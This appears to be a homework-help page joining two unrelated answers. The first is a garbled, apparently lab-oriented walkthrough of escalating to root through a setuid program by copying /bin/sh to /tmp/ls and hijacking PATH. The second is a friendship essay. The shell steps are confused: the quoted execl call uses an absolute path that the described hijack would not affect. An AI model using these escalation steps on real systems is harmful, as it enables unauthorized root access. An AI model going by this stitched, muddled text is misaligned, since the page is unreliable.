Answer explained below
Explanation:
Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.
As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.
execl("/bin/ls", "ls",(char *)0);
run this under your main program.
Since it can have a root previlege,
-$ cd /tmp/
/tmp$ sudo su
:/tmp# gcc -o system system.c
:/tmp# chmod u+s system // changing file permissions
:/tmp# exit
exit
:/tmp$ cp /bin/sh /tmp/ls
:/tmp$ ./system
<u>Steps:
</u>
1. The first thing you need to do is copy /bin/sh to /tmp.
2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.
3. Set PATH to current directory. /tmp.
4. Compile
5. Run the program system and you can get your root previledge.
Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

Explanation:
Friends can challenge us, confuse us, and sometimes, we might wonder why we bother. But friendship is as important to our wellbeing as eating right and exercising. What’s more, friendships help us grow through each year of our lives.
The friends we meet in school teach us how to be patient, wait our turn, reach out, and try new hobbies. When we move into young adulthood we learn more about taking responsibility, finding a career path, and seeking out people as mentors.
As we continue into our 40s and beyond, we learn to weather the ups and downs in life, and once again friends provide a sounding board and place for us to grow. Friendship is key to our success with all our relationships and it can create a sense of purpose in our lives.
The people we bring into our lives as friends will show us how to forgive, laugh, and make conversation. The basic components of any relationship, from our marriage to our coworkers, are all founded in friendship. We learn how to interact with people because of our friends, even the ones that are opposite from us or share a different worldview.
We don’t just talk with others but learn from them. We understand the process of meeting new acquaintances and finding out what makes them tick. These people help push us out of our comfort zones while still providing a safe emotional space for us to be totally ourselves.
One of the most overlooked benefits of friendship is that it helps keep our minds and bodies strong. In fact, it’s as important to our physical health as eating well and keeping fit. A recent Harvard study concluded that having solid friendships in our life even helps promote brain health.
